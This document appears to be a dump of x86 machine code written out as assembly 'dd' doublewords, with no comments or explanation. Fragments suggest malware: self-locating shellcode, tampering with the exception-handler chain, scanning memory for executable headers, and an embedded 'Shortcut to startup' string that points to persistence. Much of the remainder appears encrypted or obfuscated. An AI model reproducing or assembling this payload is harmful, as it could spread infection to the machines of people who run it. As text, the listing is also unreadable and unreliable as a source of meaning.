0E852006Ah dd 3, 5AC35A20h, 4245489h, 4244481h, 15h, 9C35242h, 0B8868968h dd 8B000000h, 1F16399Dh, 6A006A06h, 3E85700h, 20000000h dd 895FC35Fh, 8104247Ch, 14042444h, 47000000h, 0FF06C357h dd 22B255B5h, 0B19D8B06h, 0FF061F0Ch, 1F2F5595h, 999D8B06h dd 50061F2Dh, 2810F50h, 8B000000h, 34895BFAh, 69858924h dd 0FF061F1Ah, 22B255B5h, 56006A06h, 3E8h, 0C35E2000h dd 2474895Eh, 24448104h, 1C04h, 0C3564600h, 0F2183FCEh dd 4A50710Dh, 1DBD8BF6h, 0FF061F0Ah, 1F0E1D95h, 55006A06h dd 3E8h, 0C35D2000h, 246C895Dh, 24448104h, 1A04h, 0C3554500h dd 89DE6774h, 8BEFF485h, 1F2AB19Dh, 0DE06BB06h, 0BD8378B4h dd 61F2C0Dh, 50840F00h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 14042444h, 41000000h, 60D1C351h dd 7E9h, 5C613700h, 8241D136h, 10E8h, 0BD981E00h, 67DC8E93h dd 0CD8A30F6h, 0DA273F43h, 0C99D89ABh, 59061F30h, 34895061h dd 799D0924h, 0FF061F1Bh, 22B255B5h, 75950106h, 0FF061F12h dd 1F134995h, 29EF8106h, 0FF2F0A1Fh, 22B255B5h, 53006A06h dd 3E8h, 0C35B2000h, 245C895Bh, 24448104h, 1D04h, 0C3534300h dd 0F5C62168h, 8C937BD6h, 0F98B0375h, 107595FFh, 0F98B061Fh dd 9BD83h, 0F02061Fh, 2C84h, 6820F00h, 81000000h, 39B7FEF7h dd 0BD015327h, 61F1D6Dh, 51858B5Bh, 8B061F17h, 1F12019Dh dd 0C606h, 3F15DF81h, 8B663C18h, 9185C7D8h, 61F12h, 8B000000h dd 1F1E059Dh, 0DA8B6606h, 0FFF2E0E9h, 319D89FFh, 8B061F14h dd 0DABF0FC1h, 0D3000BAh, 0EA81F0h, 83F00000h, 958914C2h dd 61F1CE5h, 8D14EA83h, 2438C685h, 0FF645006h, 35h, 25896400h dd 0 dd 0E8h, 0C22B5800h, 0FFF00025h, 388166FFh, 850F5A4Dh dd 12h, 3C50B70Fh, 3A81D003h, 4550h, 0A840Fh, 2D0000h dd 0E9000010h, 0FFFFFFD9h, 8589C88Bh, 61F05CDh, 0F3C4003h dd 890650B7h, 1F32ED95h, 50508B06h, 2499589h, 0F805061Fh dd 8B000000h, 0D1030C50h, 2E4D9589h, 5003061Fh, 0B1958908h dd 64061F09h, 58Fh, 0C4830000h, 13E904h, 8B510000h, 8110244Ch dd 0B0A9h, 100000h, 0C0335900h, 0F1BD83C3h, 61F20h, 24840Fh dd 85C60000h, 61F2025h, 0A7D26847h, 0B5FFD49Ah, 61F3271h dd 7993858Dh, 0D0FF0622h, 0D0FF006Ah, 23ED8589h, 0D38B061Fh dd 9E8h, 0D5E27200h, 8D94B09Eh, 860FA284h, 27h, 11E8h dd 0F70EBA00h, 1E2D6DF3h, 0A5D3C0Ah, 0CD1DBB9h, 0BE90E01h dd 0F1000000h, 0CF781E5h, 0E325256Fh, 5E587111h, 0C681F3B5h dd 6433h, 68FEB70Fh, 0 dd 8E9h, 81CFB00h, 5B1BF9C3h, 8B665A2Ah, 3234FFCFh, 5BFBB70Fh dd 81FE8B66h, 0F30BABC3h, 5CB8666Fh, 97F38137h, 6649CDCDh dd 8183A1BFh, 4B32DC3h, 15890F19h, 0E9000000h, 10h, 5229E8ECh dd 7C84A7B2h, 411ACB1Eh, 32AEBD35h, 60161C89h, 8159F857h dd 0D906A4C2h, 8166611Ch, 83AAC0E8h, 0FA8104EAh, 0FFFF9CB0h dd 19850Fh, 29E90000h, 43000000h, 16719B01h, 0A9B2421h dd 31CEE6B7h, 0C38FC64Bh, 668CEE36h, 0E9A1E8B9h, 0FFFFFF7Dh dd 314DC37Ch, 3664DE08h, 3893449h, 3A9A8D8Dh, 8B660624h dd 5D8D89FAh, 6A061F0Bh, 3E85000h, 20000000h, 8958C358h dd 81042444h, 15042444h, 40000000h, 0CBDEC350h, 0EF98589h dd 85C7061Fh, 61F20C5h, 5808h, 1A0D9D89h, 85C7061Fh, 61F137Dh dd 0 dd 7E8h, 4B25BD00h, 2F8A1AAAh, 4810Fh, 0BE660000h, 0FF5874B3h dd 1F0F41B5h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h dd 1804h, 0C3524200h, 0EFFB6429h, 0F28B528Bh, 5995FF5Eh dd 8B061F2Dh, 0E18D89DEh, 6A061F1Eh, 4595FF00h, 8B061F1Dh dd 985AEBC0h, 3CC6669Dh, 0A9E3FD79h, 0CA0F8E84h, 4D1B1BB9h dd 0DE1A6619h, 6D9C3546h, 4BF21650h, 99CE1E09h, 3F598D53h dd 3BB619FDh, 9178C72Bh, 6C63606Ah, 64D570B6h, 28CF16A7h dd 50689648h, 1D67495Bh, 97EE631Ah, 0CBCEE0F6h, 9DE7226Ah dd 89037E6Bh, 0E812A730h, 0C9F734DFh, 0CF8D8D34h, 5206243Bh dd 273DB58Bh, 8B5E061Fh, 1F0F3DB5h, 5D8D8906h, 66061F0Bh dd 85C7C28Bh, 61F20C5h, 5928h, 6E9h, 26155400h, 8913D067h dd 1F11F58Dh, 7D85C706h, 61F13h, 6A000000h, 3E85100h, 20000000h dd 8959C359h, 8104244Ch, 17042444h, 41000000h, 0B3B0C351h dd 11E929DFh, 74000000h, 3D3D9C25h, 6B2F4154h, 18481A60h dd 0BCAADD85h, 1D15B5FFh, 6A061Fh, 3E850h, 58200000h, 448958C3h dd 44810424h, 160424h, 50400000h, 0C4C7F7C3h, 6880Fh, 85290000h dd 61F09A9h, 2D5995FFh, 6A061Fh, 3E852h, 5A200000h, 54895AC3h dd 44810424h, 140424h, 52420000h, 0CF8195C3h, 7D36AB03h dd 95FF006Ah, 61F1D45h, 3BEBC08Bh, 1042712Fh, 4A351AAh dd 72845DBEh, 5B0F8512h, 0E079A96Eh, 0FAAB2A2Bh, 0EDCE77Bh dd 0ABDCF2C1h, 0CFA0D524h, 20640012h, 0E6505DB2h, 87ED7281h dd 0E91A2335h, 55EF6586h, 8DCC4E28h, 243CB88Dh, 0C820F06h dd 0F000000h, 68Fh, 5D858900h, 89061F30h, 1F0B5D8Dh, 13E806h dd 0FB760000h, 1F2A5721h, 27C57BD0h, 0B91FC9E0h, 1253E8E6h dd 69BD035Ch, 58061F07h, 20C585C7h, 5A3C061Fh, 6A0000h dd 3E850h, 58200000h, 448958C3h, 44810424h, 190424h, 50400000h dd 0A5A197C3h, 6631A6A9h, 85C7F88Bh, 61F137Dh, 0 dd 8FC2D281h, 0DFBF579Fh, 0FF6B893Fh, 1F0749B5h, 0B58B6006h dd 61F120Dh, 45BD8B60h, 89061F23h, 1F2685B5h, 0FF616106h dd 1F2D5995h, 0FF006A06h, 1F1D4595h, 0EBC08B06h, 6048F20Eh dd 0CDE8F011h, 0C3855EA9h, 0E8A877E4h, 8, 405D2238h, 126661E1h dd 0C8E0Fh, 870F0000h, 6, 8C0Fh, 665E0000h, 6109EB81h dd 6002C681h, 0B9F80000h, 17D6h, 0FFFEBF0Fh, 8F0F36h, 58000000h dd 48D0Fh, 0BF660000h, 0C08173FDh, 13315E83h, 299BD0Bh dd 0E881061Fh, 5335A644h, 1F3D958Bh, 0C081061Fh, 630034B1h dd 28B0Fh, 0FA8B0000h, 0B1B86050h, 894E6882h, 1F2F7DB5h dd 68F6106h, 9A99D8Bh, 0EE83061Fh, 12E901h, 5AEC0000h dd 8BCB15D3h, 4B730348h, 2B484348h, 0BF522412h, 8B4E4E4Eh dd 1F1CF9BDh, 850F4906h, 0FFFFFF87h, 2E15958Bh, 2ADE061Fh dd 46D4D471h, 7F01DC4Bh, 5CD4C855h, 33639852h, 33A9A90Bh dd 5AF19826h, 16EF5E26h, 60338706h, 0E4FFB44Eh, 42F867A5h dd 0BEA08714h, 112A0BA3h, 0BA796720h, 2CCD49A3h, 0C2D71B20h dd 33338706h, 33831D29h, 0B6C09826h, 3582A5A8h, 0B3D61576h dd 63AFBC1Bh, 2A050DD9h, 64839E39h, 59359826h, 0A31F1523h dd 634BBC1Bh, 0E261DABh, 0CC039E02h, 2CAF7DB3h, 3C149320h dd 336AA1A2h, 0A3B01526h, 639CBC1Bh, 334DAACEh, 0BEF6D826h dd 176E0EA3h, 0B624C820h, 35F0A5B6h, 92FF6776h, 0B0338726h dd 0B61794E2h, 3569A5B6h, 0B3231576h, 6355BC1Bh, 2A780DD9h dd 513D9E39h, 666A9826h, 646474ADh, 4E11CE74h, 0DA8DAB2Eh dd 33A69824h, 0CD3DF66h, 0C62C9726h, 2B67D9h, 3B1713EFh dd 3335B2CFh, 0B948AB26h, 3A71831h, 63E868ADh, 88005AADh dd 33A9982Ch, 33D49BCFh, 7D896F26h, 3C3566A5h, 0CC656CA1h dd 0FB4EC3D9h, 38EEDF7Eh, 0FDD697E6h, 0B85667D9h, 6C8EC6E7h dd 37A8517Fh, 4D881526h, 0BE9CBC1Bh, 17732BABh, 932020h dd 0FC780000h, 310271E7h, 83C8D007h, 0F4904C7h, 0FFFFF285h dd 0B3B58DFFh, 8D06243Eh, 243ED28Dh, 83CF2B06h, 0C88B05E9h dd 0BE8h, 0FC558B00h, 3216F28h, 0E7919FDAh, 2B1850Bh, 0F5B061Fh dd 0C381C1B7h, 66A1h, 680BDA81h, 0F62B4A94h, 34FF53B0h dd 5FCAB61Eh, 6840Fh, 8D8B0000h, 61F0B75h, 224FC781h, 0BF0F0509h dd 40C781D7h, 8B531686h, 63C781D1h, 0E8141D9Ah, 5, 9A109216h dd 58A0F97h, 66000000h, 2468F181h, 8D8B575Ah, 61F11F5h dd 2933048Fh, 1F0005BDh, 38A0F06h, 0F000000h, 0EE83D3B7h dd 0BFC08004h, 99F0FE81h, 850FFFFFh, 0FFFFFF96h, 1C31858Bh dd 13E8061Fh, 56000000h, 0D18FC45Fh, 0B61B8ED8h, 59507625h dd 0C495EB64h, 5AFC030Dh, 66BCC281h, 9D8B0000h, 61F0FB9h dd 68h, 81665200h, 5B0B9AF1h, 4DB58B58h, 0FF061F14h, 95891034h dd 61F1355h, 0A9F1815Fh, 8161993Ch, 603F02C7h, 5E948h dd 0D0780000h, 813F6C3Ah, 0F729D6C7h, 81F08B0Dh, 0D8916AC7h dd 10E966h, 57490000h, 14D7ED82h, 1D5EB118h, 0F80B2A8Bh dd 0F57F147h, 48FF2BFh, 65B58B02h, 0E8061F12h, 6, 531623h dd 83591CDFh, 7EB704E8h, 9A18F881h, 850FFFFFh, 18h, 12619D8Bh dd 2CE9061Fh, 29000000h, 0C7E22422h, 0D80CB209h, 7BD13083h dd 9A74E681h, 70E9671Dh, 71FFFFFFh, 5E6C2BA2h, 665FE892h dd 6A0BCCB0h, 0C8805DE2h, 0C7276EB1h, 3B67A523h, 0E934A54Ah dd 0AFF7FE69h, 7E10F9C0h, 3910E1C8h, 9E34A55Dh, 0BAF7F60Ah dd 83A928C0h, 5252A356h, 626A52A8h, 0A134CF89h, 7A34A6A1h dd 0FE698549h, 0BA582C14h, 6B70244Dh, 0A734B94Dh, 1061E049h dd 0C9C0ADDEh, 0AFBDF92Bh, 93A92ED9h, 5B32BA6Ah, 1D2C4FF6h dd 503264F4h, 0AE41A54Fh, 0CC6518CAh, 9D34A356h, 7F67F550h dd 7E371D89h, 0B8BDA549h, 982BAA2Ch, 0E09038C4h, 74CBA368h dd 6EB7FD12h, 0EF2BBA18h, 0A423D149h, 7E371D1Ah, 0B8BDA549h dd 982BAA2Ch, 0E3A738C4h, 74CBA368h, 0D35EFD12h, 0E9374D1Eh dd 0AB14A549h, 6BDFA8Ah, 79B5A16Dh, 9E29A16Dh, 1873A549h dd 0CB8A208Ah, 100341CAh, 62EA5A17h, 89A12C89h, 1C32BA41h dd 0E4BF7DC5h, 36FC1A46h, 74B0AA4Dh, 0CD34A54Dh, 0D0DCF649h dd 0C934A549h, 7D6F6612h, 0FB308115h, 2830810Dh, 0DD34A549h dd 0F633661Ah, 8D5518CAh, 0DC34A356h, 0E93491CDh, 7FE42F49h dd 6529ECD4h, 39304C4Fh, 9E5EA549h, 4F374D1Ch, 0FA14A549h dd 0BFBDF88Ah, 0ADB5A16Dh, 0F42DA16Dh, 2F71A549h, 74E0A68Ah dd 95BB4843h, 501EC0DCh, 80341B4Fh, 0D35EA749h, 0E9374D1Bh dd 0AE14A549h, 2EBDFF8Ah, 79B5A16Dh, 9E2EA16Dh, 1D76A549h dd 9F93C38Ah, 0E8A7BDDFh, 64CF1A46h, 0D6AEBDCCh, 83B92C4Fh dd 0C232BA53h, 1FB92C99h, 0CA32BA58h, 0B0B0AA89h, 0B934A548h dd 0EADCF749h, 0D434A549h, 0F36E6613h, 0BC30811Dh, 8530810Dh dd 0D34A549h, 5EA3661Bh, 0B335838Eh, 6854A619h, 76336CBEh dd 7CBBAA39h, 0B434A549h, 812D38F4h, 77B5C44Fh, 5CB5C31Eh dd 0D3772046h, 0E95EA549h, 0F4374D19h, 2214A549h, 79BDFD8Ah dd 0DAB5A16Dh, 4F2FA16Dh, 0F774A549h, 21BFE08Ah, 70DBDCE7h dd 69BDF54Bh, 7C2BB7D4h, 3C812C13h, 0F832BA58h, 4D30DDC8h dd 8FB0AA4Bh, 5834A54Ah, 0F636FCC4h, 0CCB5C34Fh, 0FF3BC5D5h dd 3D34A5CFh, 7662A523h, 4F34A54Ah, 0F9F7FB69h, 0D710D1C0h dd 0ED10E1C8h, 0F434A55Eh, 0DCF7F30Fh, 5B34B93Ah, 0E45E67C8h dd 69EF242Fh, 0A54C25F2h, 80B1AAA1h, 8334A549h, 0F7DCF049h dd 5A34A549h, 0B4696614h, 1F308125h, 5230810Dh, 0E234A549h dd 0FD61661Ch, 87BCAD62h, 0BD893B31h, 74B120C0h, 0E2B5A356h dd 0DBE17F71h, 494C242Fh, 223B0E49h, 0D334A55Fh, 0FBA928C2h dd 49BDA356h, 7C2BA3CCh, 3D3633A0h, 0F8E41A49h, 4F8A8AEDh dd 2672A448h, 0CD2A2292h, 0F1B12869h, 7D3287D3h, 651F20F4h dd 0EE45A4Fh, 812FE0DCh, 40F4204Fh, 0A736FCCDh, 8AD32549h dd 0D4529DC8h, 713BA74Bh, 7A34A550h, 0E29144C8h, 0E6B5AC47h dd 1009C34Fh, 0EFB0AA33h, 5A34A54Bh, 0F60604F4h, 0CCB5C34Fh dd 0FF3BC5D5h, 3D34A514h, 7667A523h, 4F34A54Ah, 0FCF7FE69h dd 0D710F9C0h, 0ED10E1C8h, 0F434A55Eh, 94F7F60Ah, 0B6286706h dd 813EC0C4h, 9AA92E4Fh, 2732BA6Ah, 0DCDCA731h, 0E9348DCCh dd 1FB5C349h, 0FB527CCAh, 0FD34A331h, 9E232046h, 0C452A549h dd 6CB5C390h, 37DD15B9h, 34A548h, 0F434A54Ch, 8E3D9495h dd 3C341B7Ah, 9E5EDB48h, 4F374D1Eh, 0F814A549h, 0AFBDFA8Ah dd 0ADB5A16Dh, 0F420A16Dh, 2D73A549h, 0B0BFE28Ah, 982BA35Ch dd 0D52C20C4h, 12BDA36Bh, 0D52BB410h, 0E95E75B6h, 0F4374D19h dd 2214A549h, 79BDFD8Ah, 0DAB5A16Dh, 4F23A16Dh, 0F774A549h dd 64454F8Ah, 0E4A18CDEh, 7132BA4Ah, 1DB0AA89h, 6C34A548h dd 0C7E32E2Fh, 0EEB12E29h, 1D32BA51h, 8097652Dh, 10C2528h dd 0F44B2046h, 7A5EA549h, 3D374D1Ch, 0C314A549h, 23BDF88Ah dd 0E3B5A16Dh, 0D32CA16Dh, 0BC71A549h, 0ECA9678Ah, 7DDDC189h dd 0D834A549h, 0E7B52ABDh, 98B51401h, 0F2C9EAAFh, 0A031DDC9h dd 0E9772046h, 0F45EA549h, 7A374D18h, 6414A549h, 0D2BDFC8Ah dd 0BB5A16Dh, 0A728A16Dh, 8275A549h, 0BA9998Ah, 9043558Fh dd 0CFBD3030h, 3B2BAA80h, 0EEA9BF6h dd 484C2527h, 4FB0AA1Ah, 0B534A549h, 62EE6EF0h, 0EB2124F4h dd 42B5C34Fh, 0B83BA0C6h, 9E34A58Bh, 0A766A523h, 0A734A54Ah dd 89F7FF69h, 0ED10F1C0h, 0F010E1C8h, 7A34A552h, 21F7F70Bh dd 9109C34Bh, 0C5A3CD4Ah, 0A14C2597h, 40B1AA21h, 8334A549h dd 0F7DCF049h, 5A34A549h, 0B4696614h, 1F308125h, 5230810Dh dd 0E234A549h, 0A5E6661Ch, 0E9037E6Eh, 15FF3E9Ah, 2B5C3BCh dd 32115A42h, 9E34C4CCh, 1934CF49h, 0A734A6A1h, 106A8549h dd 0CD402C17h, 0D070244Dh, 7A34BE4Dh, 0FE62E349h, 3E4697DCh dd 396935CBh, 0A7322746h, 5EBDA549h, 0EF2B8B00h, 0F4349BA0h dd 2934CF49h, 3D34A6A1h, 5D6F8549h, 6B682C12h, 8370244Dh dd 0D334BC4Dh, 2A67E649h, 5FBF799Bh, 0F7BF2BCCh, 3B2B9428h dd 9F613062h, 8F1FA356h, 81C41E2Fh, 0D334B6A0h, 0C0A92E49h dd 4C32BA41h, 7A34A548h, 0BCA12E29h, 0FF32BA51h, 0A4291FD9h dd 1E64BC43h, 9D87B9CEh, 0E93F4CD9h, 90B2A549h, 0BC987F17h dd 600D92E3h, 0D589282Ch, 0C2328109h, 837118C4h, 86171D4Fh dd 6C37D22Fh, 0F22BB59Ch, 1BF56A62h, 0DB483C34h, 4D1E9E5Eh dd 0A5494F37h, 0FA8AF814h, 0A16DAFBDh, 0A16DADB5h, 5E98320h dd 8958A4F3h, 1F1161B5h, 0D9BF0F06h, 840FC00Bh, 25h, 146CBA66h dd 4DB0B58Dh, 0D78A061Fh, 3B8h, 0C9BD8B00h, 0FF061F06h dd 0D8D2BE6h, 29061F1Bh, 1F1D1195h, 800F4006h, 0 dd 5E9h, 4D64CB00h, 0C08B99BCh, 6860Fh, 8D890000h, 61F2349h dd 6C1BD83h, 7500061Fh, 51BD8309h, 61F1Fh, 53501974h, 3B8C08Bh dd 89000004h, 1F139585h, 0B9D8D06h, 0FF0621B0h, 83585BD3h dd 1F1F51BDh, 17740006h, 3B85350h, 89000004h, 1F139585h dd 0AC9D8D06h, 0FF0621ACh, 0B585BD3h, 1F167D8Dh, 0ED958B06h dd 8B061F08h, 0ADBD89C0h, 61061F1Ah, 50325820h, 13231C8h dd 0C26B1210h, 257EBB51h, 2576B300h, 1322F06h, 0C2637301h dd 0F825CC39h, 0B971CA07h, 8CBBF354h, 72D166Dh, 15278783h dd 8D54341Bh, 503258DAh, 13231E9h, 0C26B1280h, 257EBB19h dd 2576B324h, 1322914h, 0C2637308h, 0C80FE2F5h, 7806CB90h dd 1323FE9h, 0E2BEB380h, 1F6E7B6Eh, 1372AA0Bh, 0BCB916ABh dd 72D1C7Dh, 0E369A5Bh, 1301386h, 0CCAFBB01h, 82342D93h dd 1E1853FDh, 853D3226h, 132321Fh, 5E9F845Eh, 13037EDh dd 74BFBB02h, 51342D1Ch, 1322168h, 4B306A40h, 8AEF5E20h dd 0AE3C507Ah, 1FF22087h, 87DEBBE3h, 13239EAh, 0AFABA101h dd 98580296h, 0DBF96C77h, 5BEBB946h, 2536BB4Fh, 0E9673262h dd 1323207h, 5CF16F22h, 5165E88h, 5167601h, 1323256h, 0D7F16765h dd 0BCB94A10h, 72D2CE1h, 257E330Bh, 7CA7BBFCh, 59342D30h dd 0E96532EAh, 1323243h, 5EF16D00h, 5164E99h, 5167689h dd 1323210h, 0B4F16545h, 13222E9h, 1CF06480h, 92F5AE07h dd 3FDEB378h, 182C2836h, 5E3E8419h, 0CDBA78Fh, 0C1B1341Dh dd 5132582Dh, 1323168h, 0C26A1240h, 2576BB78h, 2576B314h dd 132270Ch, 0C2627204h, 9B9D874h, 0E964326Bh, 1323283h dd 5FF16C60h, 51646A9h, 5167691h, 132321Ch, 17F16442h dd 44B8F2Bh, 7DA341Eh, 0ED323280h, 128B201Eh, 0EFB35494h dd 676C56E8h, 0BBCE7A83h, 32FA45Eh, 370BB364h, 84B63DFEh dd 82323280h, 0BCB93B81h, 72D26E1h, 6F3B719h, 38B23417h dd 0E2B73DEDh, 8A323202h, 44AF3BDEh, 8A342D93h, 0EC843301h dd 158FA23h, 131DA46h, 5F123208h, 75BB6CC7h, 45B33626h dd 12F3625h, 57743280h, 4A710B83h, 7BDA35D8h, 569F563Bh dd 826DEA83h, 15837C5h, 131DA53h, 58123201h, 4DBB6B43h dd 45B33664h, 1243604h, 50733210h, 0D2619CBh, 4AA20B85h dd 843DB941h, 132327Fh, 67E1B9E6h, 0D1F0E8C1h, 4C82BFADh dd 0CDA340Fh, 61323208h, 18862AA5h, 2AC6535Dh, 9A3CE40Fh dd 0B96DC50Ah, 1323243h, 0E962324Ah, 1323213h, 59F16A28h dd 516768Dh, 5167683h, 1323219h, 38F162C0h, 0D3BD5DD6h dd 3038FA9h, 0E0CD340Fh, 0E9623262h, 1323207h, 59F16A22h dd 5167688h, 5167601h, 132325Ah, 99F16260h, 0E3161039h dd 823D3BCFh, 1323202h, 2143A731h, 6B53341Eh, 2DA6280h dd 21323240h, 886AF178h, 80361654h, 1C36164Ch, 41323204h dd 0B9D3F152h, 4635DFF3h, 8966C66h, 0E27B741h, 0BCBF343Fh dd 7167480h, 4840BF85h, 758A3420h, 3233A081h, 1E3BDB84h dd 0C0FD1986h, 50325820h, 13231C8h, 0C26B1210h, 257EBB51h dd 2576B300h, 1322F06h, 0E9837301h, 8BA4F305h, 50006AC0h dd 3E8h, 0C3582000h, 24448958h, 24448104h, 1A04h, 0C3504000h dd 96C448B6h, 0E91931CCh, 13h, 53547760h, 99E45DDEh, 0AA83CA19h dd 88271DE2h, 8B1354B7h, 8DC38BD8h, 244AA68Dh, 0CF816606h dd 8D89E22Ch, 61F0B5Dh, 0E852006Ah, 3, 5AC35A20h, 4245489h dd 4244481h, 1Ah, 17C35242h, 30F0C91Bh, 0E380F824h, 0C585C7DBh dd 74061F20h, 6A00006Dh, 3E85500h, 20000000h, 895DC35Dh dd 8104246Ch, 1B042444h, 45000000h, 0DCCEC355h, 0DD1C1EA7h dd 0BA6046FBh, 112F4C8h, 10E9h, 0A2475300h, 20F540B1h dd 89A76D1Dh, 0B1621FACh, 85C76100h, 61F137Dh, 0 dd 0BD8BE78Ah, 61F3079h, 105DB5FFh, 6A061Fh, 3E852h, 5A200000h dd 54895AC3h, 44810424h, 1D0424h, 52420000h, 0E1EC52C3h dd 0E517CA55h, 66EDB797h, 0E30CC781h, 2D5995FFh, 8589061Fh dd 61F2AE5h, 6A5FF956h, 4595FF00h, 8B061F1Dh, 0FF1BEBC0h dd 3B8A6E6Ah, 664787CFh, 3EDA0068h, 282C2584h, 163AF23Fh dd 0D0ABD8E4h, 6CEBF897h, 726F6853h, 74756374h, 206F7420h dd 72617473h, 707574h, 14h dup(0) dd 1C99C9F6h, 1, 0FEBE9h, 4CC36800h, 8AE90624h, 68FFFBFEh dd 6244DD8h, 0FBFE80E9h, 4F7268FFh, 76E90624h, 68FFFBFEh dd 6244FB1h, 0FBFE6CE9h, 505568FFh, 62E90624h, 68FFFBFEh dd 6245102h, 0FBFE58E9h, 559368FFh, 4EE90624h, 68FFFBFEh dd 6245852h, 0FBFE44E9h, 596968FFh, 3AE90624h, 11FFFBFEh dd 0B5167728h, 56B7188Fh, 0FF60C154h, 0A607683Fh, 81AF1085h dd 8B002BECh, 2EE1C92Ah, 0D2476CCDh, 74351071h, 1F52B713h dd 0F7B263CFh, 0A4145900h, 30850881h, 0D62B9415h, 8E184BA3h dd 4FDD8CF1h, 0FB8B9AEEh, 1ED25F92h, 1E83FBAFh, 57DA891Ch dd 0AD1ED220h, 0AAE7CBF7h, 5D2D49F1h, 29AC5B46h, 0B73AEFD4h dd 2CB3D274h, 0D81938DAh, 60EEA187h, 33873FCh, 31D2A1h dd 18690000h, 98ED7B12h, 0B11A74B1h, 0AF37237Eh, 8205B4FBh dd 3CCDD829h, 378B67AEh, 8325F7ADh, 46472864h, 0D9FEA102h dd 95000000h, 27AA7F44h, 0A4A5FA88h, 2C850881h, 4D74110Bh dd 0C8569112h, 40C35863h, 0CE51DAEBh, 0E3785475h, 296B6FB8h dd 9E6F369Bh, 50081435h, 699E7338h, 3568C286h, 0F18E99B9h dd 32C06F1Eh, 9D998ED1h, 2500F18Eh, 83A20364h, 0E63F870Ah dd 0D75AD3F2h, 5B170338h, 0D444D05Bh, 489BC25h, 0C9FBAF28h dd 0C065B91Ah, 0F1743510h, 73AA352h, 1CCD647h, 1F70D988h dd 39EED11Ch, 76817B6h, 951085A6h, 0E2FDE187h, 0B951A023h dd 0E100000Dh, 85E647D8h, 2687E8BFh, 0CF309104h, 76D738EFh dd 517FE0B5h, 5B30FB3Ch, 0FE9199FAh, 0A2773C9Dh, 44C5E041h dd 0EF2287E3h, 0F7B263FFh, 0A4E429D0h, 44A5069Bh, 0E247A861h dd 0E7FCD3C1h, 0C11A4FC4h, 275AC3EFh, 0F18E8EC7h, 76CB5908h dd 0B11A74B1h, 0AF37237Eh, 8205B4FBh, 0AD37A74Bh, 486709F7h dd 246630Ch, 0EFE2A1h, 28790000h, 0AB008E03h, 850881A4h dd 0DFE40F30h, 7928C74Ah, 566FEF10h, 9AE404C3h, 0BF4DFC91h dd 0BA22053Ch, 5C69F18Eh, 0B80D62CBh, 8EB16985h, 78BF6EF1h dd 0F18EB176h, 59CCF459h, 0FA8837D6h, 0E66D3899h, 8D6194DFh dd 42F18EB1h, 0B235E493h, 62CBBB6Ah, 0AFA05E2Fh, 9BA0F1FBh dd 9E4D7806h, 4ADFE435h, 0B745DAE5h, 0DD230256h, 0DE4306CFh dd 82EB9A75h, 0B990E31h, 0B0F46FA2h, 60C501CCh, 2A5DC65Bh dd 0F1CCB8C4h, 4CB56413h, 0F25B30FBh, 0B8846A9Dh, 1119F1CCh dd 16A4537Eh, 0B66B54B5h, 0FDC0033Bh, 150D3E2h, 0CA4h dd 0CB2CE5CCh, 70D1446Ah, 197A2D0Fh, 0C021F4B8h, 66C75C5Fh dd 0D9E25538h, 0BE82E344h, 1E2586E7h, 0FEC72889h, 0B70CC2Dh dd 0B26516D8h, 0CD12B9F7h, 4B809BA4h, 0EC207F78h, 77DC3DECh dd 3910426h, 0A506879Eh, 5281A454h, 0D831B469h, 8E1849A5h dd 30DF8EF1h, 0CDCC91FBh, 11C031F8h, 9B6C398Eh, 4F3FE63Ah dd 784EB3E6h, 7827FBAFh, 7834BEF5h, 0DA7CF7ADh, 86F07FBBh dd 1155A102h, 0EC000000h, 6C8A6497h, 9E4DF7ADh, 0E5AABB10h dd 55000008h, 0B11A74B1h, 0AF313F7Eh, 5EE190FBh, 138AB405h dd 84052085h, 456DBE23h, 36FA4FD2h, 634BB05Fh, 0ECB91EACh dd 0EE3F981Bh, 0D4F156D7h, 4E7EC553h, 199E6954h, 3A0B4867h dd 96AF1071h, 965B9215h, 0B952E952h, 69220354h, 7B947E6h dd 119AABE8h, 0B5764FB0h, 0A431FB4Ch, 0E9527D71h, 0F4A35252h dd 358AE366h, 0E952EC02h, 1CE9E152h, 0DC6CDC21h, 2D7402B1h dd 52EA11C8h, 95D2F18Fh, 3596F7B0h, 0D2E9710h, 92ED71B5h dd 0C95C60FAh, 6AF8A746h, 8869FE7h, 0FF294A9Fh, 23FC33ACh dd 22E32AB8h, 0E39A53DDh, 0B67ACB34h, 2FBD5CDFh, 0EBAF86CEh dd 0FD90963Ah, 2A6DB7Ah, 2FE79652h, 5689F2A1h, 946A8E77h dd 0D31AA958h, 0B241EE30h, 0E1B47ACBh, 5C2AFB53h, 0B7B9C0F3h dd 3F603C63h, 26CCC506h, 0C7F2807Eh, 0D84D9518h, 511245AEh dd 6A425798h, 240152BBh, 86A9FA63h, 0C1228311h, 0DEA823E4h dd 4AA24A1Fh, 0B0A78C7h, 0F320000h, 0EED43596h, 4B75D637h dd 2A1273D4h, 8EB11273h, 0FB8AB819h, 35960B34h, 0D839ECD4h dd 7ADBB077h, 1A7B0C19h, 0C82659BEh, 7F7B267h, 81A41B60h dd 60A58D08h, 0B639E2C3h, 0ACB67h, 55CEF300h, 0FAAD93F4h dd 9F763899h, 3ED1DD3Eh, 0DEB37CDDh, 0F93E4F7Dh, 9F006136h dd 42A3049Bh, 0E647A87Dh, 91ED4EDFh, 66F5F92Ch, 33DAF7B2h dd 5281A4EEh, 0E65E326Dh, 8D982BD2h, 21065BDEh, 8B0EBD6Ch dd 3FA07536h, 0C95C3EF7h, 0EC6F2407h, 0E0359E4Dh, 73F6A98Fh dd 0CEFF46D4h, 0FFFBB022h, 0B37AC150h, 0F73DE1BBh, 0A2F7602Eh dd 38046D51h, 9443E265h, 9DE47211h, 0C351B4DCh, 2E870AB9h dd 0BC3FC8DDh, 0EE378F1Dh, 5F0437A0h, 78BD6A4Bh, 360F60C9h dd 92B31475h, 0A0C09E19h, 0D154255Ch, 0A2782h, 0B96A4F00h dd 5E31F758h, 0FB929CFDh, 0A275399Ah, 4ADFE041h, 65AABBE9h dd 364C55Ah, 0A607683Fh, 4AAB0C81h, 0F551B27Bh, 68915D90h dd 9F46F7B2h, 0B87FA05Ah, 7195EE3Fh, 192C911Fh, 0F3B80D90h dd 4BCE4368h, 3F94FDACh, 8E1CE20Ch, 0AF90F5F1h, 5CBD4BFAh dd 8E1C7519h, 8EF82DF1h, 0C638F225h, 0DA0FFBAAh, 0C1EA28E6h dd 3B17174Ch, 0A8F96211h, 46AB0C9Dh, 0C957D0F5h, 2D124164h dd 0A756F578h, 0B1ECCF24h, 0D0D850A2h, 0E61BBA3Dh, 0E594611Ah dd 90072B7Ch, 0CB396E0Dh, 